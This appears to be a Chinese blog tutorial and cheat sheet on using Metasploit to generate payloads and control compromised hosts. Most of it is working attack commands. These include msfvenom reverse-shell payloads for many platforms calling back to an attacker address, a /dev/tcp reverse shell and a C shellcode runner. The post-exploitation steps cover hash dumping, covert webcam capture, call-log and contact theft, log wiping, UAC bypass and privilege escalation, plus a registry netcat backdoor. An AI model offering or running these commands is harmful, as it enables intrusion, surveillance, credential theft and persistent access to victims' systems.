Metasploit 是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,同时该工具也是渗透测试环境中的利器,它支持多平台Payload的生成具有完全的跨平台性,本次实验将学会生成各种攻击载荷。

快速安装Metasploit linux系统下只需要执行下面的三条命令既可以自动安装,不过国内网速你懂的.

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb \
> msfinstall && chmod 755 msfinstall && ./msfinstall

关于Msfvenom命令常用参数解释

[root@localhost ~]# msfvenom --help

      -p, --payload    <payload>       指定需要使用的payload(攻击荷载)
-l, --list [module_type] 列出指定模块的所有可用资源.
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式
-e, --encoder [encoder] 指定需要使用的encoder编码器
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集
-i, --iterations <count> 指定payload的编码次数
--shellest 最小化生成payload

Windows ShellCode

[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.1.20 lport=9999 -f c [root@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.1.20 lport=9999 -f c

Windows EXE Or DLL

[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -e x86/shikata_ga_nai -i 3 -b '\x00\x0a\xff' -f exe -o payload.exe [root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp -b'\x0\x0b' \
lhost=192.168.1.20 lport=9999 -f dll > payload.dll

Linux ShellCode

[root@localhost ~]# msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f c [root@localhost ~]# msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f c

Linux ELF Or ELF-SO

[root@localhost ~]# msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp -b'\x00\x0b' \
lhost=192.168.1.20 lport=9999 -f elf -o payload.elf [root@localhost ~]# msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp -b'\x00\x0b' \
lhost=192.168.1.20 lport=9999 -f elf -o payload.elf [root@localhost ~]# msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp -b'\x00\x0b' \
lhost=192.168.1.20 lport=9999 -f elf-so -o payload.so

Mac OS X ShellCode

[root@localhost ~]# msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp \
-b '\x0\x0b' lhhost=192.168.1.20 lport=9999 -f c [root@localhost ~]# msfvenom -a x64 --platform osx -p osx/x64/shell_reverse_tcp \
-b '\x0\x0b' lhhost=192.168.1.20 lport=9999 -f c

Mac OS X Macho

[root@localhost ~]# msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp -b '\x00\0b' \
lhost=192.168.1.20 lport=9999 -f macho -o payload.macho [root@localhost ~]# msfvenom -a x64 --platform osx -p osx/x64/shell_reverse_tcp -b '\x00\0b' \
lhost=192.168.1.20 lport=9999 -f macho -o payload.macho

Android Or Iphone App

[root@localhost ~]# msfvenom --platform android -p android/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -o payload.apk [root@localhost ~]# msfvenom --platform apple_ios -p apple_ios/aarch64/meterpreter_reverse_tcp \
lhost=192.168.1.20 lport=9999 -o payload.ios

PHP Or ASP Or JSP

[root@localhost ~]# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.20 lport=9999 -f raw > shell.php

[root@localhost ~]# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f aspx -o payload.aspx [root@localhost ~]# msfvenom --platform java -p java/jsp_shell_reverse_tcp \
lhost=192.168.1.20 lport=9999 -f raw -o payload.jsp [root@localhost ~]# msfvenom -p java/jsp_shell_reverse_tcp \
lhost=192.168.1.20 lport=9999 -f raw -o payload.war

BASH Or PowerShell

[root@localhost ~]# msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.20 LPORT=9999 > -f raw > payload.sh
[root@localhost ~]# exec 5<>/dev/tcp/192.168.1.20/9999 [root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' LHOST=192.168.1.20 lport=9999 -f psh-cmd > payload.ps1

Python Or Ruby Or NodeJS

[root@localhost ~]# msfvenom -p python/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f raw -o payload.py [root@localhost ~]# msfvenom -p ruby/shell_reverse_tcp \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.rb [root@localhost ~]# msfvenom -p cmd/unix/reverse_lua \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.lua [root@localhost ~]# msfvenom -p nodejs/shell_reverse_tcp \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.js [root@localhost ~]# msfvenom -p cmd/unix/reverse_perl \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.pl

服务端配置后门回弹会话(通用)

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.20
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit -j -z

Windows: 附上ShellCode有效性测试框架

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE") unsigned char buf[] = ""; typedef void(__stdcall *CODE) ();
int main()
{
//((void(*)(void))&buf)();
PVOID pFunction = NULL;
pFunction = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pFunction, buf, sizeof(buf));
CODE StartShell = (CODE)pFunction;
StartShell();
}

Linux: 附上ShellCode有效性测试框架

#include <stdlib.h>
const unsigned char shellcode[] = "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"; int main(int argc, char **argv) {
int (*ret)();
ret = (int(*)())shellcode;
(int)(*ret)();
exit(0);
} #include <stdio.h>
#include <string.h> char *shellcode = "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"; int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}

后渗透基础命令

msf5 exploit(multi/handler) > sessions          # 查询当前会话
msf5 exploit(multi/handler) > sessions -i 1 # 通过ID号进入指定会话
msf5 exploit(multi/handler) > sessions -k 1 # 通过ID号杀死一个会话
msf5 exploit(multi/handler) > background # 将会话放入后台
msf5 exploit(multi/handler) > getuid/getpid # 查询用户权限与PID
msf5 exploit(multi/handler) > sysinfo # 查看目标系统信息
msf5 exploit(multi/handler) > ps # 查目标主机进程
msf5 exploit(multi/handler) > kill PID # 杀死目标制定进程
msf5 exploit(multi/handler) > getsystem # 尝试令牌提权
msf5 exploit(multi/handler) > shell # 进入目标shell环境 msf5 exploit(multi/handler) > enumdesktops # 查看可用的桌面
msf5 exploit(multi/handler) > getdesktop # 获取当前meterpreter关联的桌面
msf5 exploit(multi/handler) > set_desktop # 设置meterpreter关联的桌面
msf5 exploit(multi/handler) > screenshot # 截屏
msf5 exploit(multi/handler) > run vnc # 使用vnc远程桌面连接 msf5 exploit(multi/handler) > uictl disable mouse # 禁用目标鼠标
msf5 exploit(multi/handler) > uictl enable keyboard # 开启目标键盘 msf5 exploit(multi/handler) > webcam_list # 查看目标主机摄像头
msf5 exploit(multi/handler) > webcam_snap # 摄像头拍裸照
msf5 exploit(multi/handler) > webcam_stream # 开启目标主机摄像头
msf5 exploit(multi/handler) > clearav # 销毁日志文件 msf5 exploit(multi/handler) > webcam_stream -i 1/2 #打开前置或后置摄像头
msf5 exploit(multi/handler) > check_root #检测root
msf5 exploit(multi/handler) > dump_calllog #下载电话记录
msf5 exploit(multi/handler) > dump_contacts #下载信息记录
msf5 exploit(multi/handler) > geolocate #定位,需要下载谷歌地图

Migrate进程迁移

msf5 exploit(multi/handler) > execute                  # 在目标机器中执行文件
msf5 exploit(multi/handler) > execute -H -i -f cmd.exe # 创建新进程cmd.exe -H不可见-i交互 msf5 exploit(multi/handler) > getpid
msf5 exploit(multi/handler) > ps
msf5 exploit(multi/handler) > migrate PID # 通过PID号迁移进程

文件查阅与远程传输

msf5 exploit(multi/handler) > getwd                                # 查看当前工作目录
msf5 exploit(multi/handler) > search -f *filename* # 搜索文件
msf5 exploit(multi/handler) > cat c:\\lyshark.log # 查看文件内容
msf5 exploit(multi/handler) > upload /tmp/shell.exe C:\\shell.exe # 上传文件到目标机
msf5 exploit(multi/handler) > download c:\\shell.exe /tmp/ # 下载文件到本机上
msf5 exploit(multi/handler) > edit c:\\lyshark.log # VIM编辑或创建文件
msf5 exploit(multi/handler) > rm C:\\lyshark.log # 删除文件
msf5 exploit(multi/handler) > getlwd # 看肉鸡当前目录
msf5 exploit(multi/handler) > lcd /tmp # 切换目录

网络与端口转发/端口扫描

msf5 exploit(multi/handler) > ifconfig        # 查询肉鸡IP地址
msf5 exploit(multi/handler) > netstat -antp # 查询目标网络连接
msf5 exploit(multi/handler) > arp -a # 查询目标ARP缓存
msf5 exploit(multi/handler) > getproxy # 查看目标代理信息
msf5 exploit(multi/handler) > route # 查看目标路由表
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 # 扫描192.168.1.0/24网段
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.100 PORTS=3389 # 检测是否开启3389端口 #-----------------------------------------------------------------------
# portfwd 端口转发与端口关闭
portfwd add -l 9999 -p 3389 -r 127.0.0.1 # 将目标机3389端口转发到本地9999
portfwd list # 查询当前转发列表
portfwd delete -l 9999 # 删除本地主机的9999端口映射 #-----------------------------------------------------------------------
# autoroute 添加与删除主机路由
run autoroute -p # 查询添加的路由记录
run autoroute -s 10.10.10.1 -n 255.255.255.0 # 在目标主机添加一条路由
run autoroute -d -s 10.10.10.1 # 删除目标主机中的路由
run autoroute -s 10.10.10.1/24 # 添加一个路由网段

后渗透信息搜集模块

#-----------------------------------------------------------------------
# Centos系统中这些模块默认保存在以下目录中
[root@localhost post]# cd /opt/metasploit-framework/embedded/framework/modules/post/
[root@localhost post]# ls
aix android apple_ios brocade cisco firefox hardware juniper linux multi osx solaris windows # 以Windows系统中的搜集模块为例,其默认存储在以下路径下.
[root@localhost gather]# pwd
/opt/metasploit-framework/embedded/framework/modules/post/windows/gather #-----------------------------------------------------------------------
# 信息搜集模块众多,这里拿几个常用模块备注 meterpreter > info post/windows/gather/enum_files # 查询模块配置参数
meterpreter > run post/windows/gather/enum_files # 枚举目标服务
meterpreter > run post/windows/gather/enum_services # 枚举目标服务
meterpreter > run post/windows/gather/hashdump # 盗取Hash
meterpreter > run post/windows/gather/checkvm # 是否虚拟机
meterpreter > run post/windows/gather/forensics/enum_drives # 查看分区
meterpreter > run post/windows/gather/enum_applications # 获取安装软件信息
meterpreter > run post/windows/gather/dumplinks # 获取最近的文件操作
meterpreter > run post/windows/gather/enum_ie # 获取IE缓存
meterpreter > run post/windows/gather/enum_chrome # 获取Chrome缓存
meterpreter > run post/windows/gather/enum_patches # 补丁信息
meterpreter > run post/windows/gather/enum_domain # 查找域控

针对肉鸡的提权操作

#-----------------------------------------------------------------------
# 使用bypassuac脚本尝试提权
meterpreter > background
msf > use exploit/windows/local/bypassuac
msf > set SESSION 1
msf > run #-----------------------------------------------------------------------
meterpreter > run post/windows/gather/enum_patches # 收集目标主机补丁情况
[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7
meterpreter > background
msf > use exploit/windows/local/ms13_053_schlamperei # 寻找相符合的提权脚本,执行测试
msf > set SESSION 1
msf > exploit

添加系统用户与开启3389远程

#-----------------------------------------------------------------------
# 添加系统用户与开启远程桌面
meterpreter > run getgui -e # 开启远程桌面
meterpreter > run getgui -u lyshark -p 123123 # 添加用户
meterpreter > run getgui -f 9999 -e # 3389端口转发到9999
meterpreter > run post/windows/manage/enable_rdp # 开启远程桌面
meterpreter > run post/windows/manage/enable_rdp USERNAME=lyshark PASSWORD=123 # 添加用户
meterpreter > run post/windows/manage/enable_rdp FORWARD=true LPORT=9999 # 将3389端口转发到9999

注册表操作与写入后门

-d   注册表中值的数据.    -k   注册表键路径    -v   注册表键名称
enumkey 枚举可获得的键 setval 设置键值 queryval 查询键值数据
#-----------------------------------------------------------------------
upload /root/nc.exe C:\\windows\\ # 上传nc工具到根目录
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run # 枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v myshell -d 'C:\windows\nc.exe -Ldp 666 -e cmd.exe' # 加后门
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v myshell # 查看键值 [root@localhost ~]# nc -v 192.168.1.20 666 # 攻击者连接后门

目标网卡抓包

msf > use sniffer
msf > sniffer_interfaces # 查看网卡
msf > sniffer_start 1 # 选择网卡开始抓包
msf > sniffer_stats 1 # 查看状态
msf > sniffer_dump 1 /tmp/ltest.pcap #导出pcap数据包
msf > sniffer_stop 1 # 停止抓包

Metasploit 生成各种后门的更多相关文章

  1. 通过Metasploit生成各种后门

    生成windows后门 1.首先生成后门 [root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ ...

  2. Kali之Metasploit生成apk后门控制安卓

    扫盲教程,大佬勿喷. 实验中请更改为你环境的IP. 生成apk后门 Kali Linux(Hack):192.168.169.76 Android(靶机):192.168.169.137 启动kali ...

  3. 使用Kali中的Metasploit生成木马控制Windows系统 (第九天 9.20)

    本文转自:https://www.cnblogs.com/yankaohaitaiwei/p/11556921.html 一.kali及Metasploit kali基于debin的数字取证系统,上面 ...

  4. 使用Kali中的Metasploit生成木马控制Windows系统

    一.概念:Kali基于debin的数字取证系统,上面集成了很多渗透测试工具,其前身是BT5 R3(BtackTrack). 其中Metasploit是一个综合利用工具,极大的提高了攻击者的渗透效率,使 ...

  5. Msfvenonm生成一个后门木马

    在前一篇文章中我讲了什么是Meterpreter,并且讲解了Meterpreter的用法.传送门-->Metasploit之Meterpreter 今天我要讲的是我们用Msfvenom制作一个木 ...

  6. Kali环境使用Metasploit生成木马入侵安卓手机

    Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计, ...

  7. 9.Metasploit制作木马后门

    01木马与后门   木马?后门? 木马和后门都有害,尤其是木马,它由攻击者主动发起,稍不留心就会被利用:后门原来是留给自己方便用的,但也有可能被非法利用,这两种程序都会给用户带来损失. 木马是指潜伏在 ...

  8. 6.Metasploit生成apk攻击Android实例

    Metasploit进阶第四讲 生成Android  apk文件 01  msfvenom基本参数 msfvenom介绍 承接上回,staged/unstage payload如何利用? msfven ...

  9. Metasploit生成木马入侵安卓手机

    开始 首先你需要一个Metasploit(废话) Linux: sudo apt install metasploit-framework Termux: 看这里 指令 sudo su //生成木马文 ...

  10. metasploit生成payload的格式

    转自https://www.cnblogs.com/zlgxzswjy/p/6881904.html Often one of the most useful (and to the beginner ...

随机推荐

  1. django中间件需要了解的方法 importlib模块 csrf校验策略 csrf相关装饰器

    目录 django中间件三个需要了解的方法 process_view process_exception process_template_response 基于django中间件实现功能的插拔式设计 ...

  2. 【每日一题】36. 小AA的数列 (二进制DP)

    补题链接:Here 算法涉及:位运算,DP 这道题想了很久但实在没想什么巧妙的解法,暴力的代码就不放,这里引用Kur1su 的思路 异或问题优先考虑二进制位,对于这个问题,我们需要考虑偶数长度的区间, ...

  3. 为什么我要迁移SpringBoot到函数计算

    前言 为什么要迁移? 我们的业务有很多对外提供服务的 RESTful API,并且要执行很多不同的任务,例如同步连锁 ERP 中的商品信息到美团/饿了么等平台,在线开发票等.由于各种 API 和任务执 ...

  4. Tmux | 常用操作存档

    (因为自己实在是太好忘了,所以在博客存档方便查找) 参考资料:Tmux 使用教程 | 阮一峰的网络日志 tmux new -s <session-name> <Ctrl+B D> ...

  5. SQL—排序专用窗口函数

    下面介绍三种用于进行排序的专用窗口函数: 1.RANK()     在计算排序时,若存在相同位次,会跳过之后的位次.     例如,有3条排在第1位时,排序为:1,1,1,4······ 2.DENS ...

  6. Laravel组件化开发学习笔记

    组件化开发就是基于组件来进行迭代开发,而不是从零开始开发 1.语法基础 组件开发的基础语法是命名空间. 可以使用魔法常量__NAMESPACE__可以直接获取当前命名空间的名称的字符串. 例如: &l ...

  7. Qt5.9 UI设计(一)——在win10系统上安装Qt5.9

    安装环境 win10 系统 Qt5.9.0 版本 官方下载地址 可以从官方网站获取:https://www.qt.io/zh-cn/ 现在的安装包跟以前的有些区别,加上网络比较慢,我这里演示的是Qt5 ...

  8. [转帖]一文深度讲解JVM 内存分析工具 MAT及实践(建议收藏)

    https://juejin.cn/post/6911624328472133646 1. 前言 熟练掌握 MAT 是 Java 高手的必备能力,但实践时大家往往需面对众多功能,眼花缭乱不知如何下手, ...

  9. 多种数据库获取最近一天记录的SQL整理

    多种数据库获取最近一天记录的SQL整理 背景 纯粹当笔记. 数据库种类太多,记不住,每次都需要现查,效率实在是太低了 将获取最近一天记录的SQL整理好 方便后续直接his用 简单总结 Oracle + ...

  10. [转帖]等待事件 enq:TX - row lock contention分析与解决

    6月30日,数据库发生了大量锁表.大概持续1小时,并且越锁越多.后来通过业务人员停掉程序,并kill掉会话后解决. 几天后再EM上查看CPU占用: CPU发生了明显等待. 主要是由于enq:TX - ...